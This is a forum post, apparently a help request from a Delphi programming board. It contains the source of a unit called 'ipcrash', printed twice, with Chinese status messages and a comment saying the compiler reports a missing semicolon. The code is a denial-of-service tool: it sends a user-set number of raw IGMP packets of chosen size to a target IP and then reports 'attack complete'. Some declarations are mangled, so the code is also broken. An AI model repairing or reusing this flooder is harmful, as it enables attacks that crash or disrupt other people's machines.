Q
QAlong
Unregistered / Unconfirmed
GUEST, unregistred user!
unit ipcrash;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,winsock, ComCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
StatusBar1: TStatusBar;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
times:integer;
s:tsocket;
psize:integer;
addr:tsockaddr;
wsaData:TWSAData;
bufferchar;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
WSAStartup(word(2),wsaData);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if edit1.Text <>'' then begin
s:=socket(AF_INET,SOCK_RAW,IPPROTO_IGMP);
if s=INVALID_SOCKET then begin
statusBar1.panels.Items[0].text:=('Create Socket Errorr:'+ IntToStr(GetLastERRor()));
exit;
end;
Psize:=StrToInt(edit2.Text);
times:=StrToInt(edit3.text);
GetMem(buffer,Psize);
Addr.sin_family :=AF_INET;
Addr.sin_addr.S_addr :=inet_addr(pchar(edit1.text));
if connect(s,addr,SizeOf(addr))<>0 then begin
statusbar1.Panels.Items[0].text:=('Connect Error (Code):'+intToStr(getLastError()));
exit;
end;
Repeat
send(S,buffer^,PSize,0);
dec(times);
statusbar1.panels.items[0].text :='剩余'+inttostr(times)+'次';
until times=0;
statusbar1.panels.items[1].text :='攻击'+edit1.Text+'完成';
end else begin
statusbar1.Panels.Items[0].text:=('请检察各个参数设置是否正确!')
FreeMem(buffer); (*执行到这一行编译器显示“Missing operator or semicolon”*)
WSACleanup ;
end;
end;
end.
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,winsock, ComCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
StatusBar1: TStatusBar;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
times:integer;
s:tsocket;
psize:integer;
addr:tsockaddr;
wsaData:TWSAData;
bufferchar;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
WSAStartup(word(2),wsaData);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if edit1.Text <>'' then begin
s:=socket(AF_INET,SOCK_RAW,IPPROTO_IGMP);
if s=INVALID_SOCKET then begin
statusBar1.panels.Items[0].text:=('Create Socket Errorr:'+ IntToStr(GetLastERRor()));
exit;
end;
Psize:=StrToInt(edit2.Text);
times:=StrToInt(edit3.text);
GetMem(buffer,Psize);
Addr.sin_family :=AF_INET;
Addr.sin_addr.S_addr :=inet_addr(pchar(edit1.text));
if connect(s,addr,SizeOf(addr))<>0 then begin
statusbar1.Panels.Items[0].text:=('Connect Error (Code):'+intToStr(getLastError()));
exit;
end;
Repeat
send(S,buffer^,PSize,0);
dec(times);
statusbar1.panels.items[0].text :='剩余'+inttostr(times)+'次';
until times=0;
statusbar1.panels.items[1].text :='攻击'+edit1.Text+'完成';
end else begin
statusbar1.Panels.Items[0].text:=('请检察各个参数设置是否正确!')
FreeMem(buffer); (*执行到这一行编译器显示“Missing operator or semicolon”*)
WSACleanup ;
end;
end;
end.